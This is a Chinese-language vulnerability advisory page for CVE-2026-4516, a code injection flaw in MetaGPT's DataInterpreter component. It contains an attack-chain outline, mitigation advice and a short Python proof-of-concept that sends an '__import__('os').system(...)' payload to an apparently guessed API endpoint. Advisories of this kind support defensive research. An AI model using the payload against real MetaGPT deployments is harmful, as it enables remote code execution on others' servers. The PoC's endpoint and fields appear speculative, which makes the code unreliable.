IPBUF安全漏洞报告
English
CVE-2026-4516 CVSS 6.3 中危

CVE-2026-4516 MetaGPT DataInterpreter代码注入漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2026-4516
漏洞类型
代码注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Foundation Agents MetaGPT

相关标签

代码注入RCEMetaGPTFoundation AgentsCVE-2026-4516中危

漏洞概述

Foundation Agents MetaGPT 0.8.1及之前版本存在代码注入漏洞。该漏洞位于DataInterpreter组件的`write_analysis_code.py`文件中,由于对输入处理不当,导致攻击者可远程注入恶意代码。利用此漏洞无需用户交互,成功后可能造成信息泄露、数据篡改及服务中断。目前厂商尚未回应,建议用户关注官方更新。

技术细节

该漏洞源于Foundation Agents MetaGPT项目中DataInterpreter组件的核心文件`metagpt/actions/di/write_analysis_code.py`存在逻辑缺陷。该组件负责根据用户输入生成并执行分析代码,但在构建代码执行环境时,未能对用户可控的参数进行严格的输入验证和净化。攻击者可以通过网络向受影响的接口发送特制的请求,注入恶意的Python代码(如利用`eval`或直接拼接字符串生成可执行脚本)。由于CVSS向量显示无需用户交互(UI:N)且攻击复杂度低(AC:L),攻击者可以轻易地远程触发该漏洞。一旦恶意代码被服务器端的解释器执行,攻击者即可获得服务器上的低权限运行环境,进而读取敏感文件、修改数据或导致服务拒绝响应,对系统安全构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在运行Foundation Agents MetaGPT 0.8.1或更早版本,并确定DataInterpreter组件的API端点。
STEP 2
构造载荷
攻击者构造包含恶意Python代码的特制数据包,该代码旨在在服务器端执行(如系统命令执行)。
STEP 3
注入攻击
攻击者通过网络向目标端点发送恶意请求,利用`write_analysis_code.py`中的输入验证缺陷将载荷注入到执行流中。
STEP 4
代码执行
服务器端解析并执行注入的恶意代码,攻击者从而获得服务器的一定控制权限(低权限)。
STEP 5
维持影响
利用获取的权限窃取数据(C:L)、篡改文件(I:L)或进行破坏性操作(A:L)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-4516 # This script demonstrates how a malicious payload can be injected # into the DataInterpreter component of MetaGPT. import requests def exploit_metagpt(target_url): """ Send a malicious payload to the vulnerable MetaGPT instance. """ # The vulnerable endpoint is typically the DataInterpreter API endpoint = f"{target_url}/api/di/write_analysis_code" # Malicious payload designed to execute arbitrary Python code # In this case, it attempts to list files in the current directory malicious_payload = "__import__('os').system('ls -la')" # Construct the payload data structure expected by the application # The vulnerability lies in how 'user_input' or similar parameters are handled data = { "task_description": f"Analyze this data: {malicious_payload}", "mode": "auto" } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, json=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check if code was executed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" exploit_metagpt(target)

影响范围

Foundation Agents MetaGPT <= 0.8.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用DataInterpreter组件或限制其仅在内网隔离环境中运行。同时,应部署Web应用防火墙(WAF)以检测和拦截常见的代码注入攻击模式,并密切监控系统日志中是否存在异常的Python进程启动或系统命令执行记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表